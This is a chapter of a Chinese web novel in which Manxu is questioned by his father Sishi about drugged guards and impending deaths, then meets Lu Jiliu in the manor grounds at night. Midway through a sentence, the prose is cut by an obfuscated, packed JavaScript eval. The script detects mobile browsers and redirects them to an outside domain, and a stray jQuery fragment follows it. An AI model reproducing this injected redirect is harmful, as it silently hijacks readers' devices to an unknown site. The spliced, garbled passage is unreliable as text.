“我不知道。”曼墟实话实说。
其实,只要司失认定是他干的,他知不知道也没那么重要。
“你什么都不知道,”司失端起热茶抿了一口,拿出另一只杯子,将茶倒满,推到桌面另一边,“喝茶吗?刚泡的。”
曼墟摇摇头,灯光打在他深邃的五官,幽黑的眸子沾上点白光,映射出茶杯的倒影。
“坐吧,别站着了,”司失又放松下来,“无所谓了,你做什么事我都不会吃惊的,毕竟你该做不该做的事已经太多了。”
曼墟沉默着,走到司失对面坐下。
“喝口茶吧。”司失又说。
曼墟将手覆上茶杯,轻轻摩擦着,始终没有举起。他不喜欢喝茶,他喜欢喝咖啡。
“你用什么把他们迷晕的?”
曼墟抬头,对上司失询问的目光,不觉失声,他嘴巴有些发干,咽了咽唾沫,攥着茶杯的手指力道更重了。
果然是刚泡的茶,很烫。
“迷药吧……”他抿着唇,随便想了个理由。
“哼,”司失冷笑,笑得幅度有些大,能隐约看到脸上的法令纹,“你果然很蠢,能想出这种方法。”
曼墟深吸口气,忽而感到阵消沉的疲惫。
“行了,我不想和你计较这些了,再怎么说,”司失停下话语,再次靠上椅背,眯起眼意味深长地看着曼墟,“你也是我唯一的孩子。”
随后,他端起茶杯,将剩余的茶水一饮而尽,对曼墟扬扬下巴,“把茶喝了吧,再不喝要凉了。”
曼墟看向手中的茶杯,面部肌肉全都罢工停摆,他转动着唯一还能动的眼球,将烫到发红的指腹再次贴上杯壁,缓缓把茶水喝完。
没什么味道。
想问的事情问完,司失拉开抽屉,拿出个印有花朵纹样的红黑盒子,双臂撑在桌面,把盒盖打开。
盒子很不起眼,被人晃了晃,发出窸窸窣窣的碰撞声,里面满满当当,全是没有扣孔的白色钮扣。
曼墟看到了,他的呼吸开始变得急促。
司失伸出右手放进盒内,手指划过纽扣,从中随意挑出一个,举起放在灯光下,神色晦暗。
“你回去吧。”司失放下钮扣,朝曼墟说,没看他一眼。
“这还没到半个月。”不知怎么,曼墟本想起身,但脑子里的话把他黏住了,而且就这么从嘴里说了出来。
“所以呢?”司失终于分过来一个眼神。
“会不会太快了,上次的新闻都还在。”曼墟脑海中浮现出那沓被他丢到桌角的,报道着常幽河死亡案的报纸。
“这和时间没关系,只要我需要,他们就得死,”司失用舌头剔了剔牙,若无其事地将茶水重新倒满茶杯,“这两天你安静在家待着,别出门乱跑。”
“知道了。”曼墟双手放上椅子把手,机械性停顿后起身,几乎是落荒而逃的,离开了房间。
他噔噔噔地下了楼,皮鞋踩在走廊的地毯上,声音闷闷的,走到室外,才没有顾虑地呼吸起来。
但司失的话在心中久久不散,他越想忽略,那些画面和情绪就越开始自动播放,一遍又一遍不停地占据着他的理智。
好累。
曼墟强迫目光转移到屋墙与夜空的交界点,认真观察着覆满墙砖的绿色藤蔓,企图让疼痛的脑子能好受点。
心情使然,他没有回房间,只是漫无目的地朝前方走着,路面逐渐变陡的同时,也开始越来越窄,两侧满是高大的松林,把这条小路围了个严严实实。
快到前院了。
曼墟双手放进口袋,缓缓放慢脚步,月光抖落在石板上,似泛着雨雾。
“曼墟家的人是对长椅有什么收集癖吗?怎么这么多!烦死了,到底在哪儿啊……”
黑色身影出现的很突然,几乎是刚拐过弯,就差点碰到他的肩头。
他不由停住。
同时刹住步伐的,还有陆季留,她倒吸一口凉气,不敢抬头,提着裙摆的手本能松开,慌忙闭上刚才还嘟嘟囔囔不停抱怨的嘴,当即撇过脸没了表情,强装若无其事地从对方身旁走过。
别看她别看她,她只是来找东西的,反正也见不到曼墟,找完就走,绝对不磨叽。
曼墟麻木的脸色终于有了波动,可惜是睥睨,他僵硬转动着脖子,视线缓缓跟随在那道身影上。
又是这条黑裙子。
不过,她是没看见他吗?
眼看身影即将消失在黑暗中,曼墟适时出声,“你在找什么?”
陆季留不太情愿地转过身,情绪无声崩溃着,她只能硬着头皮面对,因为逃避会把情况变得更加可疑。
“我丢了个外套。”她耸耸肩。
这段路太暗,唯一的光源是被繁茂针叶遮住的零星月光,两人相对而立,但彼此都只能勉强看个大概,不清楚昏暗下的具体表情。
陆季留猜测着对方的身份,希望不是什么不能碰见的人。
真的是,这么晚了,这种偏僻的小路怎么还能有人闲逛……
“丢外套?在这里?”曼墟无声巡视一圈周围,又想到司失口中被迷晕的大门守卫,目光收紧,朝陆季留走近。
陆季留佯装没听懂话语中的质疑,随意地点点头。
“你是庄园的人吗?”曼墟抬起手表,拉长距离将时间刻度送到微弱的月光下,“无意冒犯,毕竟现在已经快十点了。”
陆季留伸着脖子,不由离他远了一点距离,“当然不是。”
她不想撒谎,撒谎意味着很有可能会露馅,“我是来给曼墟送货的。”
曼墟脸色不太好看,有种突然语塞的不快,半天才回过神,“送什么货要这么晚?”
“我没有必要和你说这么多,你要是想知道,先说你是谁。”陆季留努力打量着对方,可怎么也看不清五官。
夜晚的冷风似乎变得迟缓,有那么几秒,没有人出声。
陆季留在想,她要不要直接走了算了,反正这么黑,谁也看不清是谁。
真的是,乌斯先生只说外套落在了前院长椅上,可她都快溜到后院了,也没看见什么外套,反而是路边那些一模一样的长椅几乎隔五十米就会出现一个。
“我来给这里的人修表。”曼墟话说完,用食指挠了挠额头,心脏没来由的一紧。
谎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464585|185470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话有点儿拙劣,但他不想坦白身份,不想再听到任何因为曼墟这两个人而出现的恐慌或者局促的话。
“修……表?”陆季留单眉微挑,努力理解着这两个字的含义。
“嗯,给他们修一些收藏用的手表器具,有的太过老旧,只能让我们这些手艺人来定期维修。”
其实用不着专门找人维修,这些事情都是他自己在做。
陆季留松了口气,他做什么和她没关系,只要不是曼墟庄园的人就行了。
“好吧,你今天还会离开庄园吗?”她问。
“嗯,晚点走。”
“到时候我们一起出去吧。”
“……我可能要走很晚。”这下,曼墟宁愿刚才没喊住她了,他能走哪儿去,司失才下了命令让他安分待着。
“那你知道平日里来给曼墟送货的涂料商都把货放哪儿吗?”
“涂料商?叫什么?”
“乌斯先生。”
“哦,”曼墟略感疲惫,对话的兴致少了很多,“那个侏儒啊。”
陆季留点头,“嗯,对。”
“你是来给曼墟送涂料的?乌斯呢?他怎么没来?”
“他今天太累了,我替他跑个腿,”陆季留话题一转,“你也认识乌斯?”
“没有,”曼墟垂眸,很快否认,“听说过,”他伸出手往回指了指,“你往回走,去前院喷泉旁边找找,一般有给庄园送货的,都会先送到那边的仓库登记。”
“喷泉旁边我都找过了!”陆季留烦躁地揉了揉头发,焦躁的心绪又涌上心头,“没有啊……”
会不会乌斯先生记错了。
也不是没这个可能。
随即,陆季留立刻转移了目标,“你带我过去吧,我第一次来,对这里不太熟悉。”
“喷泉很显眼,我就不去了。”曼墟眼下本能地抗拒着去有人的地方。
“不是喷泉,是仓库。”她加快步伐往回走,走到拐角发现身后的人还在原地站着,动作干脆地摆摆手,示意他跟上,“走啊,快点。”
曼墟挺挺脊背,将双手放回口袋,没动。
陆季留无奈,直接走到他身边,拽起他的手腕就把人往前拉,语气中带着些不耐的规劝,“哎呀走吧。”
“哎,你……”曼墟没料到她会直接拽他,放松的四肢踉跄两步差点没站稳,只好不情愿地随着她往前走。
两人沿着路边长势茂盛的松叶走着,直到走出这段小路,两盏昏黄的路灯才姗姗出现。
察觉到身后的人没了抵抗情绪,陆季留松开手,自顾自朝不远处的喷泉走去。
离喷泉最近的有两个石头房,外形差不多,她也分不清。
“是那间石头房吗?”她随便指了指其中一间,下意识回头询问。
曼墟的脸在路灯下终于变得清晰起来,陆季留收回的手慢慢放缓,迟疑地歪歪头,“你是……”
“没错,你见过我,那天的餐厅,”曼墟无视陆季留眉头微蹙的表情,修长的身形径直走去她前面,想赶紧结束这并不自然的氛围,“右边那间,我带你过去吧。”
陆季留急忙跟上。